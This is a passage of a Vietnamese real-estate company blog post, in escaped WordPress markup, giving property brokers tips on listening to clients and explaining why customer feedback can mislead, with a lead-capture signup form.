id=\"De_khach_hang_noi\"><\/span>\u0110\u1ec3 kh\u00e1ch h\u00e0ng n\u00f3i<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">B\u1ea1n s\u1ebd kh\u00f4ng th\u1ec3 nghe ng\u01b0\u1eddi kh\u00e1c n\u1ebfu b\u1ea1n \u0111ang n\u00f3i. V\u00ec v\u1eady, \u0111\u1ec3 th\u1ef1c s\u1ef1 l\u1eafng nghe, ng\u01b0\u1eddi m\u00f4i gi\u1edbi c\u1ea7n ph\u1ea3i gi\u1eef im l\u1eb7ng cho \u0111\u1ebfn khi kh\u00e1ch h\u00e0ng gi\u1ea3i th\u00edch xong v\u1ea5n \u0111\u1ec1 c\u1ee7a h\u1ecd. Ngay c\u1ea3 khi h\u1ecd \u0111\u00e3 bi\u1ebft gi\u1ea3i ph\u00e1p, vi\u1ec7c ng\u1eaft l\u1eddi h\u1ecd s\u1ebd khi\u1ebfn b\u1ea1n tr\u00f4ng m\u1ea5t ki\u00ean nh\u1eabn. T\u1ed1t nh\u1ea5t l\u00e0 n\u00ean \u0111\u1ee3i cho \u0111\u1ebfn khi kh\u00e1ch h\u00e0ng n\u00f3i xong v\u00ec b\u1ea1n kh\u00f4ng bao gi\u1edd \u0111o\u00e1n \u0111\u01b0\u1ee3c nh\u1eefng th\u00f4ng tin v\u1ec1 h\u1ecd v\u00e0 nh\u1eefng nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Khiem_ton_va_kien_nhan\"><\/span>Khi\u00eam t\u1ed1n v\u00e0 ki\u00ean nh\u1eabn<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Th\u1eadt kh\u00f3 kh\u0103n \u0111\u1ec3 c\u00f3 th\u1ec3 l\u00e0m vi\u1ec7c v\u1edbi m\u1ed9t kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng m\u1edbi. H\u1ecd kh\u00f4ng bi\u1ebft nh\u1eefng \u0111i\u1ec1u c\u01a1 b\u1ea3n, h\u1ecd m\u00f2 m\u1eabm thu\u1eadt ng\u1eef v\u00e0 c\u00f3 c\u1ea3m gi\u00e1c nh\u01b0 b\u1ea1n c\u1ea7n ph\u1ea3i n\u1eafm tay h\u1ecd d\u1eabn d\u1eaft t\u1eebng b\u01b0\u1edbc trong h\u00e0nh tr\u00ecnh b\u1ea5t \u0111\u1ed9ng s\u1ea3n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Trong nh\u1eefng tr\u01b0\u1eddng h\u1ee3p n\u00e0y, \u0111i\u1ec1u quan tr\u1ecdng l\u00e0 CTV B\u0110S ph\u1ea3i gi\u1eef b\u00ecnh t\u0129nh v\u00e0 th\u00e1i \u0111\u1ed9 khi\u00eam t\u1ed1n. H\u00e3y nh\u1edb r\u1eb1ng, \u0111\u00f4i khi kh\u00e1ch h\u00e0ng ch\u1ec9 m\u1edbi bi\u1ebft s\u1ea3n ph\u1ea9m v\u00e0 h\u1ecd c\u00f3 th\u1ec3 c\u1ea3m th\u1ea5y m\u1ea5t h\u1ee9ng khi c\u00f3 c\u00e2u h\u1ecfi. M\u1ecdi c\u00e2u h\u1ecfi \u0111\u1ec1u c\u00f3 \u00fd ngh\u0129a quan tr\u1ecdng, v\u00ec v\u1eady b\u1ea1n c\u1ea7n \u0111\u00e1nh gi\u00e1 cao t\u1eebng c\u00e2u h\u1ecfi nh\u01b0 nhau cho d\u00f9 t\u00ecnh hu\u1ed1ng di\u1ec5n ra t\u1ed1t \u0111\u1eb9p th\u1ebf n\u00e0o.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tuong_tac_voi_khach_hang_bang_cac_cong_cu_ho_tro\"><\/span>T\u01b0\u01a1ng t\u00e1c v\u1edbi kh\u00e1ch h\u00e0ng b\u1eb1ng c\u00e1c c\u00f4ng c\u1ee5 h\u1ed7 tr\u1ee3<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">M\u1ee5c ti\u00eau c\u1ee7a d\u1ecbch v\u1ee5 m\u00f4i gi\u1edbi gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u00e0 l\u00e0m cho m\u1ecdi ng\u01b0\u1eddi tho\u1ea3i m\u00e1i h\u01a1n v\u1edbi th\u01b0\u01a1ng hi\u1ec7u c\u1ee7a b\u1ea1n. M\u1ed9t ph\u1ea7n trong s\u1ed1 \u0111\u00f3 l\u00e0 giao ti\u1ebfp v\u1edbi kh\u00e1ch h\u00e0ng tr\u00ean k\u00eanh m\u00e0 h\u1ecd mu\u1ed1n l\u00e0m vi\u1ec7c. \u0110i\u1ec1u \u0111\u00f3 \u0111\u00f2i h\u1ecfi CTV B\u0110S ph\u1ea3i hi\u1ec3u s\u00e2u s\u1eafc v\u1ec1 c\u01a1 s\u1edf kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">H\u01a1n n\u1eefa, \u0111\u00e2y l\u00e0 c\u01a1 h\u1ed9i \u0111\u1ec3 d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng k\u1ebft h\u1ee3p v\u1edbi marketing. Y\u00eau c\u1ea7u ng\u01b0\u1eddi b\u00e1n d\u1ecbch v\u1ee5 \u0111\u00e1nh gi\u00e1 t\u00ednh c\u00e1ch kh\u00e1ch h\u00e0ng v\u00e0 x\u00e1c \u0111\u1ecbnh c\u00e1c k\u00eanh m\u00e0 kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n s\u1eed d\u1ee5ng nhi\u1ec1u nh\u1ea5t. V\u00ed d\u1ee5, n\u1ebfu b\u1ea1n \u0111ang nh\u1eafm m\u1ee5c ti\u00eau \u0111\u1ebfn \u0111\u1ed1i t\u01b0\u1ee3ng t\u1eeb 30-35 tu\u1ed5i, b\u1ea1n c\u00f3 th\u1ec3 th\u1ea5y r\u1eb1ng m\u1ea1ng x\u00e3 h\u1ed9i l\u00e0 k\u00eanh giao ti\u1ebfp \u01b0a th\u00edch c\u1ee7a h\u1ecd. Qua \u0111\u00f3, CTV B\u0110S s\u1ebd gi\u1ea3m b\u1edbt kh\u00f3 kh\u0103n trong tr\u1ea3i nghi\u1ec7m c\u1ee7a kh\u00e1ch h\u00e0ng b\u1eb1ng c\u00e1ch g\u1eb7p g\u1ee1 h\u1ecd tr\u00ean k\u00eanh m\u00e0 h\u1ecd \u0111\u00e3 s\u1eed d\u1ee5ng.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ngon_ngu_co_the_linh_hoat\"><\/span>Ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 linh ho\u1ea1t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Nhi\u1ec1u ng\u01b0\u1eddi cho r\u1eb1ng ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 linh ho\u1ea1t ch\u1ec9 d\u00e0nh cho d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng tr\u1ef1c ti\u1ebfp, nh\u01b0ng ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 n\u00e0y c\u0169ng c\u00f3 th\u1ec3 \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn c\u00e1c cu\u1ed9c g\u1ecdi v\u00e0 cu\u1ed9c tr\u00f2 chuy\u1ec7n. Ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 l\u00e0 m\u1ed9t y\u1ebfu t\u1ed1 ch\u00ednh cho th\u1ea5y b\u1ea1n c\u00f3 \u0111ang l\u1eafng nghe kh\u00e1ch h\u00e0ng hay kh\u00f4ng. N\u1ebfu c\u01a1 th\u1ec3 c\u1ee7a CTV B\u0110S b\u00e1o hi\u1ec7u r\u1eb1ng h\u1ecd kh\u00f4ng quan t\u00e2m ho\u1eb7c kh\u00f4ng ch\u00fa \u00fd, th\u00ec c\u00f3 th\u1ec3 h\u1ecd \u0111ang kh\u00f4ng l\u1eafng nghe kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/agent.reti.vn\/wp-content\/uploads\/2021\/11\/46-1-1024x683.jpg\" alt=\"\" class=\"wp-image-4658 lazyload\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/683;\"><figcaption> <em>Ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 l\u00e0 m\u1ed9t y\u1ebfu t\u1ed1 ch\u00ednh cho th\u1ea5y b\u1ea1n c\u00f3 \u0111ang l\u1eafng nghe kh\u00e1ch h\u00e0ng hay kh\u00f4ng<\/em> <\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 c\u0169ng \u0111\u01b0\u1ee3c \u00e1p d\u1ee5ng cho \u0111i\u1ec7n tho\u1ea1i v\u00e0 tr\u00f2 chuy\u1ec7n. Ngay c\u1ea3 khi ch\u00fang ta kh\u00f4ng tr\u1ef1c ti\u1ebfp \u0111\u1ed1i m\u1eb7t v\u1edbi kh\u00e1ch h\u00e0ng, ng\u00f4n ng\u1eef c\u01a1 th\u1ec3 v\u1eabn c\u00f3 th\u1ec3 \u1ea3nh h\u01b0\u1edfng \u0111\u1ebfn s\u1ef1 t\u01b0\u01a1ng t\u00e1c. N\u1ebfu b\u1ea1n ng\u1ed3i th\u1eb3ng v\u00e0o b\u00e0n l\u00e0m vi\u1ec7c v\u00e0 duy tr\u00ec n\u1ee5 c\u01b0\u1eddi, b\u1ea1n s\u1ebd t\u1ef1 nhi\u00ean tr\u00e0n \u0111\u1ea7y n\u0103ng l\u01b0\u1ee3ng v\u00e0 l\u1ea1c quan h\u01a1n.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Lang_nghe_tich_cuc\"><\/span>L\u1eafng nghe t\u00edch c\u1ef1c<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">L\u1eafng nghe t\u00edch c\u1ef1c t\u1eadp trung v\u00e0o \u00fd ki\u1ebfn c\u1ee7a kh\u00e1ch h\u00e0ng. Thay v\u00ec c\u1ed1 g\u1eafng t\u00ecm ki\u1ebfm m\u1ed9t gi\u1ea3i ph\u00e1p nhanh ch\u00f3ng, n\u00f3 khuy\u1ebfn kh\u00edch CTV B\u0110S ch\u1ec9 ngh\u0129 v\u1ec1 nh\u1eefng g\u00ec kh\u00e1ch h\u00e0ng \u0111ang n\u00f3i sau \u0111\u00f3 l\u1eb7p l\u1ea1i v\u1ea5n \u0111\u1ec1 v\u1edbi h\u1ecd \u0111\u1ec3 \u0111\u1ea3m b\u1ea3o h\u1ecd hi\u1ec3u \u0111\u1ea7y \u0111\u1ee7 v\u1ea5n \u0111\u1ec1. \u0110i\u1ec1u n\u00e0y cho kh\u00e1ch h\u00e0ng th\u1ea5y r\u1eb1ng CTV B\u0110S t\u1eadp trung v\u00e0o tr\u01b0\u1eddng h\u1ee3p n\u00e0y v\u00e0 h\u1ecd hi\u1ec3u r\u00f5 v\u1ea5n \u0111\u1ec1.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tap_trung_vao_con_nguoi_va_van_de\"><\/span>T\u1eadp trung v\u00e0o con ng\u01b0\u1eddi v\u00e0 v\u1ea5n \u0111\u1ec1<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">L\u1eafng nghe kh\u00e1ch h\u00e0ng c\u0169ng l\u00e0 c\u00e1ch \u0111\u1ec3 n\u00f3i l\u00ean s\u1ef1 th\u00f4ng minh v\u1ec1 m\u1eb7t c\u1ea3m x\u00fac c\u1ee7a CTV B\u0110S, x\u00e1c \u0111\u1ecbnh c\u00e1ch kh\u00e1ch h\u00e0ng s\u1ebd ph\u1ea3n \u1ee9ng t\u1ea1i c\u00e1c th\u1eddi \u0111i\u1ec3m kh\u00e1c nhau. \u0110i\u1ec1u n\u00e0y gi\u00fap b\u1ea1n \u0111\u01b0a ra l\u1eddi khuy\u00ean m\u00e0 kh\u00e1ch h\u00e0ng s\u1ebd c\u1ea3m th\u1ea5y b\u1ea1n l\u00e0 ng\u01b0\u1eddi m\u00e0 h\u1ecd c\u00f3 th\u1ec3 tin t\u01b0\u1edfng. V\u00ec v\u1eady, t\u1eadp trung v\u00e0o \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng v\u00e0 v\u1ea5n \u0111\u1ec1 m\u00e0 h\u1ecd \u0111ang gi\u00e3i b\u00e0y l\u00e0 m\u1ed9t c\u00e1ch ho\u00e0n h\u1ea3o \u0111\u1ec3 kh\u00f4ng l\u00e0m tr\u1eadt b\u00e1nh tr\u00ean h\u00e0nh tr\u00ecnh tr\u1ea3i nghi\u1ec7m kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u0110i\u1ec1n th\u00f4ng tin v\u00e0o form d\u01b0\u1edbi \u0111\u00e2y \u0111\u1ec3 nh\u1eadn \u0111\u01b0\u1ee3c h\u1ed7 tr\u1ee3 v\u00e0 gi\u1ea3i \u0111\u00e1p th\u1eafc m\u1eafc v\u1ec1 th\u00f4ng tin d\u1ef1 \u00e1n b\u1ea1n quan t\u00e2m.<\/strong><\/p>\n\n\n\n<div class=\"wp-block-contact-form-7-contact-form-selector\">\n<div class=\"wpcf7 no-js\" id=\"wpcf7-f17726-o1\" lang=\"vi\" dir=\"ltr\" data-wpcf7-id=\"17726\">\n<div class=\"screen-reader-response\"><p role=\"status\" aria-live=\"polite\" aria-atomic=\"true\"><\/p> <ul><\/ul><\/div>\n<form action=\"\/blog\/wp-json\/wp\/v2\/posts\/32403#wpcf7-f17726-o1\" method=\"post\" class=\"wpcf7-form init\" aria-label=\"Form li\u00ean h\u1ec7\" novalidate=\"novalidate\" data-status=\"init\">\n<fieldset class=\"hidden-fields-container\"><input type=\"hidden\" name=\"_wpcf7\" value=\"17726\" \/><input type=\"hidden\" name=\"_wpcf7_version\" value=\"6.1.6\" \/><input type=\"hidden\" name=\"_wpcf7_locale\" value=\"vi\" \/><input type=\"hidden\" name=\"_wpcf7_unit_tag\" value=\"wpcf7-f17726-o1\" \/><input type=\"hidden\" name=\"_wpcf7_container_post\" value=\"0\" \/><input type=\"hidden\" name=\"_wpcf7_posted_data_hash\" value=\"\" \/><input type=\"hidden\" name=\"_wpcf7_recaptcha_response\" value=\"\" \/>\n<\/fieldset>\n<p>\u0110\u0102NG K\u00dd NH\u1eacN TH\u00d4NG TIN D\u1ef0 \u00c1N M\u1edaI NH\u1ea4T<br \/>\n<span class=\"wpcf7-form-control-wrap\" data-name=\"your-name\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-text wpcf7-validates-as-required\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"H\u1ecd t\u00ean\" value=\"\" type=\"text\" name=\"your-name\" \/><\/span>\n<\/p>\n<p><span class=\"wpcf7-form-control-wrap\" data-name=\"your-email\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-email wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-email\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"Email\" value=\"\" type=\"email\" name=\"your-email\" \/><\/span>\n<\/p>\n<p><span class=\"wpcf7-form-control-wrap\" data-name=\"tel-724\"><input size=\"40\" maxlength=\"400\" class=\"wpcf7-form-control wpcf7-tel wpcf7-validates-as-required wpcf7-text wpcf7-validates-as-tel\" aria-required=\"true\" aria-invalid=\"false\" placeholder=\"S\u1ed1 \u0111i\u1ec7n tho\u1ea1i\" value=\"\" type=\"tel\" name=\"tel-724\" \/><\/span>\n<\/p>\n<p><input class=\"wpcf7-form-control wpcf7-submit has-spinner\" type=\"submit\" value=\"\u0110\u0103ng k\u00fd\" \/>\n<\/p>\n<p><script>\ndocument.addEventListener( 'wpcf7mailsent', function( event ) {\n location = 'https:\/\/reti.vn\/blog\/thank-you-page\/';\n}, false );\n<\/script>\n<\/p><div class=\"wpcf7-response-output\" aria-hidden=\"true\"><\/div>\n<\/form>\n<\/div>\n<\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"3_ly_do_ngung_lang_nghe_khach_hang_cua_minh\"><\/span>3 l\u00fd do ng\u1eebng l\u1eafng nghe kh\u00e1ch h\u00e0ng c\u1ee7a m\u00ecnh<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Da_so_im_lang\"><\/span>\u0110a s\u1ed1 im l\u1eb7ng<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Nh\u1eefng ng\u01b0\u1eddi b\u1ea1n th\u01b0\u1eddng nghe nh\u1ea5t c\u00f3 th\u1ec3 kh\u00f4ng nh\u1ea5t thi\u1ebft ph\u1ea3i \u0111\u1ea1i di\u1ec7n cho c\u01a1 s\u1edf kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng c\u1ed1t l\u00f5i c\u1ee7a m\u00ecnh. Trong tr\u01b0\u1eddng h\u1ee3p ch\u00fang ta thu h\u00fat \u0111\u01b0\u1ee3c ph\u1ea3n h\u1ed3i t\u1eeb m\u1ed9t s\u1ed1 l\u01b0\u1ee3ng l\u1edbn kh\u00e1ch h\u00e0ng, nh\u1eefng g\u00ec CTV B\u0110S nh\u1eadn \u0111\u01b0\u1ee3c l\u00e0 \u00fd ki\u1ebfn c\u1ee7a m\u1ed9t v\u00e0i ng\u01b0\u1eddi \u0111\u01b0\u1ee3c ch\u1ecdn.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Th\u1ef1c t\u1ebf l\u00e0, khi m\u1ecdi ng\u01b0\u1eddi b\u1ecb b\u1eaft bu\u1ed9c ph\u1ea3i chia s\u1ebb \u00fd ki\u1ebfn c\u1ee7a h\u1ecd, ngay c\u1ea3 khi tr\u1ea3i nghi\u1ec7m c\u1ee7a h\u1ecd l\u00e0 ti\u00eau c\u1ef1c, h\u1ecd s\u1ebd ti\u1ebfp t\u1ee5c nh\u01b0 th\u1ec3 kh\u00f4ng c\u00f3 chuy\u1ec7n g\u00ec x\u1ea3y ra, ho\u1eb7c chuy\u1ec3n sang m\u1ed9t th\u01b0\u01a1ng hi\u1ec7u kh\u00e1c. Nh\u1eefng ng\u01b0\u1eddi m\u00e0 b\u1ea1n th\u1ef1c s\u1ef1 mu\u1ed1n l\u1eafng nghe l\u00e0 nh\u1eefng ng\u01b0\u1eddi kh\u00f4ng n\u00f3i chuy\u1ec7n. Tr\u1eeb d\u1ecbch v\u1ee5 m\u00f4i gi\u1edbi c\u1ee7a b\u1ea1n th\u1ef1c s\u1ef1 t\u1ec7, trong tr\u01b0\u1eddng h\u1ee3p \u0111\u00f3 b\u1ea1n s\u1ebd nh\u1eadn \u0111\u01b0\u1ee3c ph\u1ea3n h\u1ed3i t\u1eeb m\u1ecdi ng\u01b0\u1eddi kh\u00e1 nhanh, c\u00f2n l\u1ea1i ph\u1ea7n l\u1edbn kh\u00e1ch h\u00e0ng s\u1ebd lu\u00f4n im l\u1eb7ng.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img decoding=\"async\" data-src=\"https:\/\/agent.reti.vn\/wp-content\/uploads\/2021\/11\/3-1024x858-1.png\" alt=\"\" class=\"wp-image-4659 lazyload\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\"><figcaption><em>  Ph\u1ea7n l\u1edbn kh\u00e1ch h\u00e0ng s\u1ebd lu\u00f4n im l\u1eb7ng  <\/em><\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">L\u00fd do \u0111\u1ea7u ti\u00ean l\u00e0 n\u1ebfu nh\u1eefng g\u00ec b\u1ea1n \u0111ang ti\u1ebfp th\u1ecb th\u00e0nh c\u00f4ng v\u00e0 \u0111\u00e1ng mua, th\u00ec kh\u00e1ch h\u00e0ng kh\u00f4ng c\u1ea7n ph\u1ea3i li\u00ean h\u1ec7 v\u1edbi b\u1ea1n v\u00ec s\u1ea3n ph\u1ea9m \u0111ang l\u00e0m ho\u1eb7c \u0111\u00fang nh\u01b0 nh\u1eefng g\u00ec n\u00f3 ph\u1ea3i l\u00e0m.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">L\u00fd do th\u1ee9 hai l\u00e0 h\u1ea7u h\u1ebft m\u1ecdi ng\u01b0\u1eddi ch\u1ec9 \u0111\u01a1n gi\u1ea3n l\u00e0 kh\u00f4ng d\u00e0nh th\u1eddi gian \u0111\u1ebb cung c\u1ea5p ph\u1ea3n h\u1ed3i, ngay c\u1ea3 khi c\u00f3 \u0111i\u1ec1u g\u00ec \u0111\u00f3 kh\u00f4ng \u1ed5n. H\u1ecd s\u1ebd c\u00f3 nhi\u1ec1u kh\u1ea3 n\u0103ng ch\u1ec9 chuy\u1ec3n sang m\u1ed9t th\u01b0\u01a1ng hi\u1ec7u kh\u00e1c h\u01a1n l\u00e0 cho b\u1ea1n bi\u1ebft \u0111i\u1ec1u g\u00ec sai v\u1edbi s\u1ea3n ph\u1ea9m. \u0110\u00e2y l\u00e0 nh\u1eefng ng\u01b0\u1eddi c\u00f3 ph\u1ea3n h\u1ed3i mang gi\u00e1 tr\u1ecb v\u00e0 b\u1ea1n s\u1ebd c\u1ea7n ph\u1ea3i t\u00edch c\u1ef1c thu th\u1eadp th\u00f4ng tin v\u00ec h\u1ecd kh\u00f4ng t\u1ef1 m\u00ecnh cung c\u1ea5p th\u00f4ng tin.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Thieu_so_la_het\"><\/span>Thi\u1ec3u s\u1ed1 la h\u00e9t<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Nh\u1eefng ng\u01b0\u1eddi b\u1ea1n th\u1ef1c s\u1ef1 l\u1eafng nghe kh\u00f4ng nh\u1ea5t thi\u1ebft ph\u1ea3i \u0111\u1ea1i di\u1ec7n cho \u00fd ki\u1ebfn c\u1ee7a \u0111a s\u1ed1 kh\u00e1ch h\u00e0ng c\u1ee7a b\u1ea1n. Sai l\u1ea7m khi nh\u1eadn ph\u1ea3n h\u1ed3i l\u00e0 m\u1eb7c d\u00f9 b\u1ea1n \u0111ang nghe nh\u1eadn x\u00e9t ho\u1eb7c y\u00eau c\u1ea7u th\u1ef1c s\u1ef1 t\u1eeb kh\u00e1ch h\u00e0ng, nh\u01b0ng ph\u1ea3n h\u1ed3i n\u00e0y kh\u00f4ng \u0111\u00e1ng tin c\u1eady v\u00ec n\u00f3 ch\u1ec9 l\u00e0 \u00fd ki\u1ebfn c\u1ee7a m\u1ed9t s\u1ed1 ng\u01b0\u1eddi \u0111\u01b0\u1ee3c ch\u1ecdn ch\u1ee9 kh\u00f4ng ph\u1ea3i l\u00e0 ch\u00ednh x\u00e1c nh\u00f3m kh\u00e1ch h\u00e0ng m\u1ee5c ti\u00eau c\u1ee7a b\u1ea1n. H\u1ecd c\u00f3 th\u1ec3 th\u1ef1c s\u1ef1 c\u1ea7n t\u00ednh n\u0103ng m\u00e0 h\u1ecd \u0111ang y\u00eau c\u1ea7u, nh\u01b0ng h\u1ecd c\u0169ng c\u00f3 th\u1ec3 l\u00e0 ng\u01b0\u1eddi duy nh\u1ea5t l\u00e0m \u0111\u01b0\u1ee3c.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Khach_hang_khong_biet_ho_muon_gi\"><\/span>Kh\u00e1ch h\u00e0ng kh\u00f4ng bi\u1ebft h\u1ecd mu\u1ed1n g\u00ec<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u00f4i khi \u00fd ki\u1ebfn c\u1ee7a kh\u00e1ch h\u00e0ng kh\u00f4ng ph\u1ea3i l\u00e0 ngu\u1ed3n th\u00f4ng tin \u0111\u00e1ng tin c\u1eady. V\u1ea5n \u0111\u1ec1 l\u00e0 kh\u00e1ch h\u00e0ng th\u1eadm ch\u00ed kh\u00f4ng th\u1ec3 l\u00fd gi\u1ea3i ch\u00ednh x\u00e1c l\u00fd do t\u1ea1i sao h\u1ecd th\u00edch nh\u1eefng g\u00ec h\u1ecd th\u00edch. Steve Jobs t\u1eebng n\u00f3i: &#8220;<em>R\u1ea5t nhi\u1ec1u th\u1eddi gian, m\u1ecdi ng\u01b0\u1eddi kh\u00f4ng bi\u1ebft h\u1ecd mu\u1ed1n g\u00ec cho \u0111\u1ebfn khi b\u1ea1n ch\u1ec9 cho h\u1ecd<\/em>&#8220;.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">H\u00e3y t\u01b0\u1edfng t\u01b0\u1ee3ng, bao nhi\u00eau l\u1ea7n b\u1ea1n say m\u00ea m\u1ed9t b\u1ed9 phim ho\u1eb7c m\u1ed9t cu\u1ed1n s\u00e1ch, nh\u01b0ng khi \u0111\u01b0\u1ee3c h\u1ecfi, th\u1eadm ch\u00ed s\u1ebd kh\u00f4ng th\u1ec3 truy\u1ec1n \u0111\u1ea1t hi\u1ec7u qu\u1ea3 l\u00fd do t\u1ea1i sao. C\u00f3 l\u1ebd \u0111\u00f3 ch\u1ec9 l\u00e0 do thi\u1ebfu v\u1ed1n t\u1eeb v\u1ef1ng chuy\u00ean ng\u00e0nh ho\u1eb7c thi\u1ebfu s\u1ef1 b\u1eaft bu\u1ed9c \u0111\u1ec3 ph\u00e2n t\u00edch s\u1edf th\u00edch c\u1ee7a b\u1ea1n. Cho d\u00f9 th\u1ebf n\u00e0o, kh\u00e1ch h\u00e0ng kh\u00f4ng ph\u1ea3i l\u00fac n\u00e0o c\u0169ng l\u00e0 ng\u01b0\u1eddi \u0111\u00e1nh gi\u00e1 s\u00e1ng su\u1ed1t nh\u1ea5t v\u1ec1 nh\u1eefng g\u00ec h\u1ecd c\u00f3 l\u1ee3i nh\u1ea5t.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Tr\u00ean \u0111\u00e2y l\u00e0 b\u00e0i vi\u1ebft v\u1ec1 &#8220;6 c\u00e1ch gi\u00fap m\u00f4i gi\u1edbi b\u1ea5t \u0111\u1ed9ng s\u1ea3n c\u00f3 th\u1ec3 l\u1eafng nghe kh\u00e1ch h\u00e0ng t\u1ed1t nh\u1ea5t&#8221;. RETI hy v\u1ecdng r\u1eb1ng nh\u1eefng chia s\u1ebb tr\u00ean s\u1ebd gi\u00fap CTV B\u0110S c\u00f3 th\u00eam ki\u1ebfn th\u1ee9c trong s\u1ef1 nghi\u1ec7p c\u1ee7a m\u00ecnh. \u0110\u1ec3 kh\u00f4ng b\u1ecf l\u1ee1 nh\u1eefng ki\u1ebfn th\u1ee9c v\u1ec1 B\u0110S, b\u1ea1n h\u00e3y truy c\u1eadp v\u00e0o&nbsp;<a href=\"https:\/\/agent.reti.vn\/\">agent.reti.vn<\/a>&nbsp;v\u00e0 nh\u1eefng c\u1eadp nh\u1eadt m\u1edbi nh\u1ea5t v\u1ec1 th\u1ecb tr\u01b0\u1eddng B\u0110S t\u1ea1i&nbsp;<a href=\"https:\/\/reti.vn\/\" target=\"_blank\" rel=\"noreferrer noopener\">reti.vn<\/a>.    <\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td>RETI l\u00e0 C\u00f4ng ty ph\u00e2n ph\u1ed1i, ph\u00e1t tri\u1ec3n v\u00e0 \u0111\u1ea7u t\u01b0 B\u0110S \u1ee9ng d\u1ee5ng c\u00f4ng ngh\u1ec7. B\u1eb1ng s\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa c\u00f4ng ngh\u1ec7 v\u00e0 con ng\u01b0\u1eddi, n\u1ec1n t\u1ea3ng giao d\u1ecbch B\u0110S online v\u00e0 ph\u01b0\u01a1ng th\u1ee9c offline, RETI ch\u1eafc ch\u1eafn mang l\u1ea1i nhi\u1ec1u gi\u00e1 tr\u1ecb v\u00e0 tr\u1ea3i nghi\u1ec7m \u0111\u1ed9t ph\u00e1 cho kh\u00e1ch h\u00e0ng c\u0169ng nh\u01b0 ch\u1ee7 \u0111\u1ea7u t\u01b0, gi\u00fap h\u1ecd mua \u2013 b\u00e1n giao d\u1ecbch B\u0110S d\u1ec5 d\u00e0ng, minh b\u1ea1ch v\u00e0 hi\u1ec7u qu\u1ea3. <br>Hi\u1ec7n nay, RETI \u0111\u00e3 v\u00e0 \u0111ang ph\u00e2n ph\u1ed1i r\u1ea5t nhi\u1ec1u d\u1ef1 \u00e1n l\u1edbn tr\u00ean c\u1ea3 n\u01b0\u1edbc, nh\u01b0: Sun Grand Boulevard, Sun Riverside Village, BRG Diamond Residence, Sun Grand City Thu\u1ef5 Khu\u00ea, Meyhomes Capital 